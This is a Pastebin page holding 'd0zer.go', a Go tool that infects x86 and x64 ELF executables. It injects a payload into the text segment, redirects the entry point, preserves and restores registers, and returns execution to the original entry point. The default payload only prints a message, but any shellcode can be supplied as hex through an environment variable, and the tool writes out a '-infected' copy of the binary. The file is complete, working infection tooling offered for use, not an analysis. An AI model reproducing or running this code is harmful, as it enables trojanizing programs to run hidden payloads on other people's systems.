Advertisement
FlyFar

d0zer.go

Jun 18th, 2023
1,394
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Go 17.75 KB | Cybersecurity | 0 0
  1. package main
  2.  
  3. import (
  4.     "bytes"
  5.     "debug/elf"
  6.     "encoding/binary"
  7.     "encoding/hex"
  8.     "errors"
  9.     "flag"
  10.     "fmt"
  11.     "io"
  12.     "io/ioutil"
  13.     "log"
  14.     "os"
  15.     "strings"
  16. )
  17.  
  18. const (
  19.     PAGE_SIZE                       int    = 4096
  20.     MOD_ENTRY_POINT                 string = "[+] Modified entry point from 0x%x -> 0x%x\n"
  21.     TEXT_SEG_START                  string = "[+] Text segment starts @ 0x%x\n"
  22.     TEXT_SEG_END                    string = "[+] Text segment ends @ 0x%x\n"
  23.     PAYLOAD_LEN_PRE_EPILOGUE        string = "[+] Payload size pre-epilogue 0x%x\n"
  24.     PAYLOAD_LEN_POST_EPILOGUE       string = "[+] Payload size post-epilogue 0x%x\n"
  25.     GENERATE_AND_APPEND_PIC_STUB    string = "[+] Generated and appended position independent return 2 OEP stub to payload"
  26.     INCREASED_TEXT_SEG_P_FILESZ     string = "[+] Increased text segment p_filesz and p_memsz by %d (length of payload)\n"
  27.     ADJUST_SEGMENTS_AFTER_TEXT      string = "[+] Adjusting segments after text segment file offsets by 0x%x\n"
  28.     INCREASE_PHEADER_AT_INDEX_BY    string = "Inceasing pHeader @ index %d by 0x%x\n"
  29.     INCREASE_SECTION_HEADER_ADDRESS string = "[+] Increasing section header addresses if they come after text segment"
  30.     UPDATE_SECTIONS_PAST_TEXT_SEG   string = "[+] (%d) Updating sections past text section @ addr 0x%x\n"
  31.     EXTEND_SECTION_HEADER_ENTRY     string = "[+] Extending section header entry for text section by payload len."
  32. )
  33.  
  34. type enumIdent struct {
  35.     Endianness binary.ByteOrder
  36.     Arch       elf.Class
  37. }
  38.  
  39. type targetBin struct {
  40.     Filesz   int64
  41.     Contents []byte
  42.     //tName string
  43.     Ident   []byte
  44.     EIdent  enumIdent
  45.     Hdr     interface{}
  46.     Shdrs   interface{}
  47.     Phdrs   interface{}
  48.     Fh      *os.File
  49.     Payload bytes.Buffer
  50. }
  51.  
  52. var preserve64 = []byte{
  53.     0x50,       //push   %rax
  54.     0x51,       //push   %rcx
  55.     0x53,       //push   %rbx
  56.     0x52,       //push   %rdx
  57.     0x56,       //push   %rsi
  58.     0x57,       //push   %rdi
  59.     0x55,       //push   %rbp
  60.     0x54,       //push   %rsp
  61.     0x41, 0x50, //push   %r8
  62.     0x41, 0x51, //push   %r9
  63.     0x41, 0x52, //push   %r10
  64.     0x41, 0x53, //push   %r11
  65.     0x41, 0x54, //push   %r12
  66.     0x41, 0x55, //push   %r13
  67.     0x41, 0x56, //push   %r14
  68.     0x41, 0x57, //push   %r15
  69. }
  70.  
  71. var restoration64 = []byte{
  72.     0x41, 0x5f, //pop    %r15
  73.     0x41, 0x5e, //pop    %r14
  74.     0x41, 0x5d, //pop    %r13
  75.     0x41, 0x5c, //pop    %r12
  76.     0x41, 0x5b, //pop    %r11
  77.     0x41, 0x5a, //pop    %r10
  78.     0x41, 0x59, //pop    %r9
  79.     0x41, 0x58, //pop    %r8
  80.     0x5c, //pop    %rsp
  81.     0x5d, //pop    %rbp
  82.     0x5f, //pop    %rdi
  83.     0x5e, //pop    %rsi
  84.     0x5a, //pop    %rdx
  85.     0x5b, //pop    %rbx
  86.     0x59, //pop    %rcx
  87.     0x58, //pop    %rax
  88. }
  89.  
  90. var defaultPayload64 = []byte{
  91.     0xeb, 0x00, //jmp    401005 <message>
  92.     //0000000000401005 <message>:
  93.     0xe8, 0x2b, 0x00, 0x00, 0x00, //call   401035 <shellcode>
  94.     0x68, 0x65, 0x6c, 0x6c, 0x6f, //push   $0x6f6c6c65
  95.     0x20, 0x2d, 0x2d, 0x20, 0x74, 0x68, //and    %ch,0x6874202d(%rip)        # 68b43042 <__bss_start+0x68741042>
  96.     0x69, 0x73, 0x20, 0x69, 0x73, 0x20, 0x61, //imul   $0x61207369,0x20(%rbx),%esi
  97.     0x20, 0x6e, 0x6f, //and    %ch,0x6f(%rsi)
  98.     0x6e,                   //outsb  %ds:(%rsi),(%dx)
  99.     0x20, 0x64, 0x65, 0x73, //and    %ah,0x73(%rbp,%riz,2)
  100.     0x74, 0x72, //je     401098 <get_eip+0x37>
  101.     0x75, 0x63, //jne    40108b <get_eip+0x2a>
  102.     0x74, 0x69, //je     401093 <get_eip+0x32>
  103.     0x76, 0x65, //jbe    401091 <get_eip+0x30>
  104.     0x20, 0x70, 0x61, //and    %dh,0x61(%rax)
  105.     0x79, 0x6c, //jns    40109d <get_eip+0x3c>
  106.     0x6f,       //outsl  %ds:(%rsi),(%dx)
  107.     0x61,       //(bad)
  108.     0x64, 0x0a, //or     %fs:0x1(%rax),%bh
  109.  
  110.     //0000000000401035 <shellcode>:
  111.     0xb8, 0x01, 0x00, 0x00, 0x00, //mov    $0x1,%eax
  112.     0xbf, 0x01, 0x00, 0x00, 0x00, //mov    $0x1,%edi
  113.     0x5e,                         //pop    %rsi
  114.     0xba, 0x2a, 0x00, 0x00, 0x00, //mov    $0x2a,%edx
  115.     0x0f, 0x05, //syscall
  116. }
  117.  
  118. var preserve32 = []byte{0x60} //pusha
  119.  
  120. var restoration32 = []byte{0x61} //popa
  121.  
  122. var defaultPayload32 = []byte{
  123.     0xeb, 0x00, //jmp    8049002 <message>
  124.     //08049002 <message>:
  125.     0xe8, 0x2b, 0x00, 0x00, 0x00, //call   8049032 <shellcode>
  126.     0x68, 0x65, 0x6c, 0x6c, 0x6f, //push   $0x6f6c6c65
  127.     0x20, 0x2d, 0x2d, 0x20, 0x74, 68, //and    %ch,0x6874202d
  128.     0x69, 0x73, 0x20, 0x69, 0x73, 0x20, 0x61, //imul   $0x61207369,0x20(%ebx),%esi
  129.     0x20, 0x6e, 0x6f, //and    %ch,0x6f(%esi)
  130.     0x6e,                         //outsb  %ds:(%esi),(%dx)
  131.     0x2d, 0x64, 0x65, 0x73, 0x74, //sub    $0x74736564,%eax
  132.     0x72, 0x75, //jb     8049099 <shellcode+0x67>
  133.     0x63, 0x74, 0x69, 0x76, //arpl   %si,0x76(%ecx,%ebp,2)
  134.     0x65, 0x20, 0x70, 0x61, //and    %dh,%gs:0x61(%eax)
  135.     0x79, 0x6c, //jns    804909a <shellcode+0x68>
  136.     0x6f, //outsl  %ds:(%esi),(%dx)
  137.     0x61, //popa
  138.     0x64, //fs
  139.     0x0a, //.byte 0xa
  140.     //08049032 <shellcode>:
  141.     0x59,                         //pop    %ecx
  142.     0xbb, 0x01, 0x00, 0x00, 0x00, //mov    $0x1,%ebx
  143.     0xba, 0x2a, 0x00, 0x00, 0x00, //mov    $0x2a,%edx
  144.     0xb8, 0x04, 0x00, 0x00, 0x00, //mov    $0x4,%eax
  145.     0xcd, 0x80, //int    $0x80
  146. }
  147.  
  148. func printPayload(p []byte) {
  149.     fmt.Println("------------------PAYLOAD----------------------------")
  150.     fmt.Printf("%s", hex.Dump(p))
  151.     fmt.Println("--------------------END------------------------------")
  152. }
  153.  
  154. func getPayloadFromEnv(p io.Writer, key string) (int, error) {
  155.     val, ok := os.LookupEnv(key)
  156.     if !ok {
  157.         errorString := "Environmental variable " + key + " is not set"
  158.         return 0, errors.New(errorString)
  159.     }
  160.  
  161.     if val == "" {
  162.         errorString := "Environmental variable " + key + " contains no payload"
  163.         return 0, errors.New(errorString)
  164.     }
  165.     val = strings.ReplaceAll(val, "\\x", "")
  166.     decoded, err := hex.DecodeString(val)
  167.     if err != nil {
  168.         log.Fatal(err)
  169.     }
  170.  
  171.     return p.Write(decoded)
  172. }
  173.  
  174. func (t *targetBin) isElf() bool {
  175.     t.Ident = t.Contents[:16]
  176.     return !(t.Ident[0] != '\x7f' || t.Ident[1] != 'E' || t.Ident[2] != 'L' || t.Ident[3] != 'F')
  177. }
  178.  
  179. func (t *targetBin) infectBinary(debug bool, noRestoration bool, noRetOEP bool) error {
  180.     var textSegEnd interface{}
  181.     var oShoff interface{}
  182.     var textNdx int
  183.  
  184.     switch t.EIdent.Arch {
  185.     case elf.ELFCLASS64:
  186.         oEntry := t.Hdr.(*elf.Header64).Entry
  187.         oShoff = t.Hdr.(*elf.Header64).Shoff
  188.  
  189.         t.Hdr.(*elf.Header64).Shoff += uint64(PAGE_SIZE)
  190.         pHeaders := t.Phdrs.([]elf.Prog64)
  191.         pNum := int(t.Hdr.(*elf.Header64).Phnum)
  192.  
  193.         for i := 0; i < pNum; i++ {
  194.             if elf.ProgType(pHeaders[i].Type) == elf.PT_LOAD && (elf.ProgFlag(pHeaders[i].Flags) == (elf.PF_X | elf.PF_R)) {
  195.                 textNdx = i
  196.                 t.Hdr.(*elf.Header64).Entry = pHeaders[i].Vaddr + pHeaders[i].Filesz
  197.                 if debug {
  198.                     fmt.Printf(MOD_ENTRY_POINT, oEntry, t.Hdr.(*elf.Header64).Entry)
  199.                 }
  200.  
  201.                 textSegEnd = pHeaders[i].Off + pHeaders[i].Filesz
  202.                 if debug {
  203.                     fmt.Printf(TEXT_SEG_START, pHeaders[i].Off)
  204.                     fmt.Printf(TEXT_SEG_END, textSegEnd.(uint64))
  205.                     fmt.Printf(PAYLOAD_LEN_PRE_EPILOGUE, t.Payload.Len())
  206.                 }
  207.                
  208.                 if noRestoration  == false {
  209.                     t.Payload.Write(restoration64)
  210.                 }
  211.  
  212.                 if noRetOEP == false {
  213.                     retStub := modEpilogue(int32(t.Payload.Len()+5), t.Hdr.(*elf.Header64).Entry, oEntry)
  214.                     t.Payload.Write(retStub)
  215.                 }
  216.  
  217.                 if debug {
  218.                     fmt.Printf(PAYLOAD_LEN_POST_EPILOGUE, t.Payload.Len())
  219.                     printPayload(t.Payload.Bytes())
  220.                 }
  221.  
  222.                 t.Phdrs.([]elf.Prog64)[i].Memsz += uint64(t.Payload.Len())
  223.                 t.Phdrs.([]elf.Prog64)[i].Filesz += uint64(t.Payload.Len())
  224.  
  225.                 if debug {
  226.                     fmt.Println(GENERATE_AND_APPEND_PIC_STUB)
  227.                     fmt.Printf(INCREASED_TEXT_SEG_P_FILESZ, t.Payload.Len())
  228.                 }
  229.             }
  230.         }
  231.  
  232.         if debug {
  233.             fmt.Printf(ADJUST_SEGMENTS_AFTER_TEXT, PAGE_SIZE)
  234.         }
  235.  
  236.         for j := textNdx; j < pNum; j++ {
  237.             if pHeaders[textNdx].Off < pHeaders[j].Off {
  238.                 if debug {
  239.                     fmt.Printf(INCREASE_PHEADER_AT_INDEX_BY, j, PAGE_SIZE)
  240.                 }
  241.                 t.Phdrs.([]elf.Prog64)[j].Off += uint64(PAGE_SIZE)
  242.             }
  243.         }
  244.  
  245.         if debug {
  246.             fmt.Println(INCREASE_SECTION_HEADER_ADDRESS)
  247.         }
  248.         sectionHdrTable := t.Shdrs.([]elf.Section64)
  249.         sNum := int(t.Hdr.(*elf.Header64).Shnum)
  250.  
  251.         for k := 0; k < sNum; k++ {
  252.             if sectionHdrTable[k].Off >= textSegEnd.(uint64) {
  253.                 if debug {
  254.                     fmt.Printf(UPDATE_SECTIONS_PAST_TEXT_SEG, k, sectionHdrTable[k].Addr)
  255.                 }
  256.                 t.Shdrs.([]elf.Section64)[k].Off += uint64(PAGE_SIZE)
  257.             } else if (sectionHdrTable[k].Size + sectionHdrTable[k].Addr) == t.Hdr.(*elf.Header64).Entry {
  258.                 if debug {
  259.                     fmt.Println(EXTEND_SECTION_HEADER_ENTRY)
  260.                 }
  261.                 t.Shdrs.([]elf.Section64)[k].Size += uint64(t.Payload.Len())
  262.             }
  263.         }
  264.  
  265.     case elf.ELFCLASS32:
  266.         oEntry := t.Hdr.(*elf.Header32).Entry
  267.         oShoff = t.Hdr.(*elf.Header32).Shoff
  268.  
  269.         t.Hdr.(*elf.Header32).Shoff += uint32(PAGE_SIZE)
  270.         pHeaders := t.Phdrs.([]elf.Prog32)
  271.         pNum := int(t.Hdr.(*elf.Header32).Phnum)
  272.  
  273.         for i := 0; i < pNum; i++ {
  274.             if elf.ProgType(pHeaders[i].Type) == elf.PT_LOAD && (elf.ProgFlag(pHeaders[i].Flags) == (elf.PF_X | elf.PF_R)) {
  275.                 textNdx = i
  276.                 t.Hdr.(*elf.Header32).Entry = pHeaders[i].Vaddr + pHeaders[i].Filesz
  277.                 if debug {
  278.                     fmt.Printf(MOD_ENTRY_POINT, oEntry, t.Hdr.(*elf.Header32).Entry)
  279.                 }
  280.  
  281.                 textSegEnd = pHeaders[i].Off + pHeaders[i].Filesz
  282.                 if debug {
  283.                     fmt.Printf(TEXT_SEG_START, pHeaders[i].Off)
  284.                     fmt.Printf(TEXT_SEG_END, textSegEnd.(uint32))
  285.                     fmt.Printf(PAYLOAD_LEN_PRE_EPILOGUE, t.Payload.Len())
  286.                 }
  287.  
  288.                 if noRestoration == false {
  289.                     t.Payload.Write(restoration32)
  290.                 }
  291.  
  292.                 if noRetOEP == false {
  293.                     retStub := modEpilogue(int32(t.Payload.Len() + 5), t.Hdr.(*elf.Header32).Entry, oEntry)
  294.                     t.Payload.Write(retStub)
  295.                 }
  296.  
  297.                 if debug {
  298.                     fmt.Printf(PAYLOAD_LEN_POST_EPILOGUE, t.Payload.Len())
  299.                     printPayload(t.Payload.Bytes())
  300.                 }
  301.  
  302.                 t.Phdrs.([]elf.Prog32)[i].Memsz += uint32(t.Payload.Len())
  303.                 t.Phdrs.([]elf.Prog32)[i].Filesz += uint32(t.Payload.Len())
  304.  
  305.                 if debug {
  306.                     fmt.Println(GENERATE_AND_APPEND_PIC_STUB)
  307.                     fmt.Printf(INCREASED_TEXT_SEG_P_FILESZ, t.Payload.Len())
  308.                 }
  309.             }
  310.         }
  311.  
  312.         if debug {
  313.             fmt.Printf(ADJUST_SEGMENTS_AFTER_TEXT, PAGE_SIZE)
  314.         }
  315.  
  316.         for j := textNdx; j < pNum; j++ {
  317.             if pHeaders[textNdx].Off < pHeaders[j].Off {
  318.                 if debug {
  319.                     fmt.Printf(INCREASE_PHEADER_AT_INDEX_BY, j, PAGE_SIZE)
  320.                 }
  321.                 t.Phdrs.([]elf.Prog32)[j].Off += uint32(PAGE_SIZE)
  322.             }
  323.         }
  324.  
  325.         if debug {
  326.             fmt.Println(INCREASE_SECTION_HEADER_ADDRESS)
  327.         }
  328.         sectionHdrTable := t.Shdrs.([]elf.Section32)
  329.         sNum := int(t.Hdr.(*elf.Header32).Shnum)
  330.  
  331.         for k := 0; k < sNum; k++ {
  332.             if sectionHdrTable[k].Off >= textSegEnd.(uint32) {
  333.                 if debug {
  334.                     fmt.Printf(UPDATE_SECTIONS_PAST_TEXT_SEG, k, sectionHdrTable[k].Addr)
  335.                 }
  336.                 t.Shdrs.([]elf.Section32)[k].Off += uint32(PAGE_SIZE)
  337.             } else if (sectionHdrTable[k].Size + sectionHdrTable[k].Addr) == t.Hdr.(*elf.Header32).Entry {
  338.                 if debug {
  339.                     fmt.Println(EXTEND_SECTION_HEADER_ENTRY)
  340.                 }
  341.                 t.Shdrs.([]elf.Section32)[k].Size += uint32(t.Payload.Len())
  342.             }
  343.         }
  344.     }
  345.  
  346.     infected := new(bytes.Buffer)
  347.  
  348.     if h, ok := t.Hdr.(*elf.Header64); ok {
  349.         if err := binary.Write(infected, t.EIdent.Endianness, h); err != nil {
  350.             return err
  351.         }
  352.     }
  353.  
  354.     if h, ok := t.Hdr.(*elf.Header32); ok {
  355.         if err := binary.Write(infected, t.EIdent.Endianness, h); err != nil {
  356.             return err
  357.         }
  358.     }
  359.  
  360.     if p, ok := t.Phdrs.([]elf.Prog64); ok {
  361.         if err := binary.Write(infected, t.EIdent.Endianness, p); err != nil {
  362.             return err
  363.         }
  364.     }
  365.  
  366.     if p, ok := t.Phdrs.([]elf.Prog32); ok {
  367.         if err := binary.Write(infected, t.EIdent.Endianness, p); err != nil {
  368.             return err
  369.         }
  370.     }
  371.  
  372.     var ephdrsz int
  373.     switch t.EIdent.Arch {
  374.     case elf.ELFCLASS64:
  375.         ephdrsz = int(t.Hdr.(*elf.Header64).Ehsize) + int(t.Hdr.(*elf.Header64).Phentsize * t.Hdr.(*elf.Header64).Phnum)
  376.     case elf.ELFCLASS32:
  377.         ephdrsz = int(t.Hdr.(*elf.Header32).Ehsize) + int(t.Hdr.(*elf.Header32).Phentsize * t.Hdr.(*elf.Header32).Phnum)
  378.     }
  379.  
  380.     infected.Write(t.Contents[ephdrsz:])
  381.  
  382.     infectedShdrTable := new(bytes.Buffer)
  383.     switch t.EIdent.Arch {
  384.     case elf.ELFCLASS64:
  385.         binary.Write(infectedShdrTable, t.EIdent.Endianness, t.Shdrs.([]elf.Section64))
  386.     case elf.ELFCLASS32:
  387.         binary.Write(infectedShdrTable, t.EIdent.Endianness, t.Shdrs.([]elf.Section32))
  388.     }
  389.  
  390.     finalInfectionTwo := make([]byte, infected.Len() + int(PAGE_SIZE))
  391.     finalInfection := infected.Bytes()
  392.  
  393.     var endOfInfection int
  394.     switch t.EIdent.Arch {
  395.     case elf.ELFCLASS64:
  396.         copy(finalInfection[int(oShoff.(uint64)):], infectedShdrTable.Bytes())
  397.         endOfInfection = int(textSegEnd.(uint64))
  398.     case elf.ELFCLASS32:
  399.         copy(finalInfection[int(oShoff.(uint32)):], infectedShdrTable.Bytes())
  400.         endOfInfection = int(textSegEnd.(uint32))
  401.     }
  402.  
  403.     copy(finalInfectionTwo, finalInfection[:endOfInfection])
  404.  
  405.     if debug {
  406.         fmt.Println("[+] writing payload into the binary")
  407.     }
  408.  
  409.     copy(finalInfectionTwo[endOfInfection:], t.Payload.Bytes())
  410.     copy(finalInfectionTwo[endOfInfection + PAGE_SIZE:], finalInfection[endOfInfection:])
  411.     infectedFileName := fmt.Sprintf("%s-infected", t.Fh.Name())
  412.  
  413.     if err := ioutil.WriteFile(infectedFileName, finalInfectionTwo, 0751); err != nil {
  414.         return err
  415.     }
  416.     return nil
  417. }
  418.  
  419. func (t *targetBin) writePreservationStub() {
  420.     switch t.EIdent.Arch {
  421.     case elf.ELFCLASS64:
  422.         t.Payload.Write(preserve64)
  423.     case elf.ELFCLASS32:
  424.         t.Payload.Write(preserve32)
  425.     }
  426. }
  427.  
  428. func (t *targetBin) enumIdent() error {
  429.     switch elf.Class(t.Ident[elf.EI_CLASS]) {
  430.     case elf.ELFCLASS64:
  431.         t.Hdr = new(elf.Header64)
  432.         t.EIdent.Arch = elf.ELFCLASS64
  433.     case elf.ELFCLASS32:
  434.         t.Hdr = new(elf.Header32)
  435.         t.EIdent.Arch = elf.ELFCLASS32
  436.     default:
  437.         return errors.New("Invalid Arch supplied -- only x86 and x64 ELF binaries supported")
  438.     }
  439.  
  440.     switch elf.Data(t.Ident[elf.EI_DATA]) {
  441.     case elf.ELFDATA2LSB:
  442.         t.EIdent.Endianness = binary.LittleEndian
  443.     case elf.ELFDATA2MSB:
  444.         t.EIdent.Endianness = binary.BigEndian
  445.     default:
  446.         return errors.New("Binary possibly corrupted -- byte order unknown")
  447.     }
  448.  
  449.     return nil
  450. }
  451.  
  452. func (t *targetBin) mapHeader() error {
  453.     h := bytes.NewReader(t.Contents)
  454.     b := t.EIdent.Endianness
  455.  
  456.     switch a := t.EIdent.Arch; a {
  457.     case elf.ELFCLASS64:
  458.         t.Hdr = new(elf.Header64)
  459.         if err := binary.Read(h, b, t.Hdr); err != nil {
  460.             return err
  461.         }
  462.     case elf.ELFCLASS32:
  463.         t.Hdr = new(elf.Header32)
  464.         if err := binary.Read(h, b, t.Hdr); err != nil {
  465.             return err
  466.         }
  467.     }
  468.     return nil
  469. }
  470.  
  471. func (t *targetBin) getSectionHeaders() error {
  472.     if h, ok := t.Hdr.(*elf.Header64); ok {
  473.         start := int(h.Shoff)
  474.         end := int(h.Shentsize) * int(h.Shnum) + int(h.Shoff)
  475.         sr := bytes.NewBuffer(t.Contents[start:end])
  476.         t.Shdrs = make([]elf.Section64, h.Shnum)
  477.  
  478.         if err := binary.Read(sr, t.EIdent.Endianness, t.Shdrs.([]elf.Section64)); err != nil {
  479.             return err
  480.         }
  481.     }
  482.  
  483.     if h, ok := t.Hdr.(*elf.Header32); ok {
  484.         start := int(h.Shoff)
  485.         end := int(h.Shentsize) * int(h.Shnum) + int(h.Shoff)
  486.         sr := bytes.NewBuffer(t.Contents[start:end])
  487.         t.Shdrs = make([]elf.Section32, h.Shnum)
  488.  
  489.         if err := binary.Read(sr, t.EIdent.Endianness, t.Shdrs.([]elf.Section32)); err != nil {
  490.             return err
  491.         }
  492.     }
  493.  
  494.     return nil
  495. }
  496.  
  497. func (t *targetBin) getProgramHeaders() error {
  498.     if h, ok := t.Hdr.(*elf.Header64); ok {
  499.         start := h.Phoff
  500.         end := int(h.Phentsize) * int(h.Phnum) + int(h.Phoff)
  501.         pr := bytes.NewBuffer(t.Contents[start:end])
  502.         t.Phdrs = make([]elf.Prog64, h.Phnum)
  503.  
  504.         if err := binary.Read(pr, t.EIdent.Endianness, t.Phdrs.([]elf.Prog64)); err != nil {
  505.             return err
  506.         }
  507.     }
  508.  
  509.     if h, ok := t.Hdr.(*elf.Header32); ok {
  510.         start := h.Phoff
  511.         end := int(h.Phentsize) * int(h.Phnum) + int(h.Phoff)
  512.         pr := bytes.NewBuffer(t.Contents[start:end])
  513.         t.Phdrs = make([]elf.Prog32, h.Phnum)
  514.  
  515.         if err := binary.Read(pr, t.EIdent.Endianness, t.Phdrs.([]elf.Prog32)); err != nil {
  516.             return err
  517.         }
  518.     }
  519.  
  520.     return nil
  521. }
  522.  
  523. func (t *targetBin) getFileContents() error {
  524.     fStat, err := t.Fh.Stat()
  525.     if err != nil {
  526.         return err
  527.     }
  528.  
  529.     t.Filesz = fStat.Size()
  530.     t.Contents = make([]byte, t.Filesz)
  531.  
  532.     if _, err := t.Fh.Read(t.Contents); err != nil {
  533.         return err
  534.     }
  535.     return nil
  536. }
  537.  
  538. func main() {
  539.  
  540.     debug := flag.Bool("debug", false, "see debug output (generated payload, modifications, etc)")
  541.     pEnv := flag.String("payloadEnv", "", "name of the environmental variable holding the payload")
  542.     oFile := flag.String("target", "", "path to binary targetted for infection")
  543.     pFile := flag.String("payloadBin", "", "path to binary containing payload")
  544.     noPres := flag.Bool("noPreserve", false, "prevents d0zer from prepending its register preservation routine to your payload")
  545.     noRest := flag.Bool("noRestoration", false, "prevents d0zer from appending register restoration routine to your payload")
  546.     noRetOEP := flag.Bool("noRetOEP", false, "prevents d0zer from appending ret-to-OEP (continue execution after payload) to payload")
  547.     flag.Parse()
  548.  
  549.     if *oFile == "" {
  550.         flag.PrintDefaults()
  551.         log.Fatal("No target binary supplied")
  552.     }
  553.     t := new(targetBin)
  554.  
  555.     fh, err := os.Open(*oFile)
  556.     if err != nil {
  557.         log.Fatal(err)
  558.     }
  559.  
  560.     t.Fh = fh
  561.     defer t.Fh.Close()
  562.  
  563.     if err := t.getFileContents(); err != nil {
  564.         fmt.Println(err)
  565.         return
  566.     }
  567.  
  568.     if !t.isElf() {
  569.         fmt.Println("This is not an Elf binary")
  570.         return
  571.     }
  572.  
  573.     if err := t.enumIdent(); err != nil {
  574.         fmt.Println(err)
  575.         return
  576.     }
  577.  
  578.     if  *noPres == false {
  579.         t.writePreservationStub()
  580.     }
  581.  
  582.     switch {
  583.  
  584.     case *pEnv != "" && *pFile != "":
  585.         flag.PrintDefaults()
  586.         return
  587.  
  588.     case *pEnv == "" && *pFile == "":
  589.         if t.EIdent.Arch == elf.ELFCLASS64 {
  590.             t.Payload.Write(defaultPayload64)
  591.         } else {
  592.             t.Payload.Write(defaultPayload32)
  593.         }
  594.  
  595.     case *pEnv != "":
  596.         if _, err := getPayloadFromEnv(&t.Payload, *pEnv); err != nil {
  597.             fmt.Println(err)
  598.             return
  599.         }
  600.  
  601.     case *pFile != "":
  602.         fmt.Println("Getting payload from an ELF binary .text segment is not yet supported")
  603.         return
  604.     }
  605.  
  606.     if err := t.mapHeader(); err != nil {
  607.         fmt.Println(err)
  608.         return
  609.     }
  610.  
  611.     if err := t.getSectionHeaders(); err != nil {
  612.         fmt.Println(err)
  613.         return
  614.     }
  615.  
  616.     if err := t.getProgramHeaders(); err != nil {
  617.         fmt.Println(err)
  618.         return
  619.     }
  620.  
  621.     if err := t.infectBinary(*debug, *noRest, *noRetOEP); err != nil {
  622.         fmt.Println(err)
  623.         return
  624.     }
  625. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement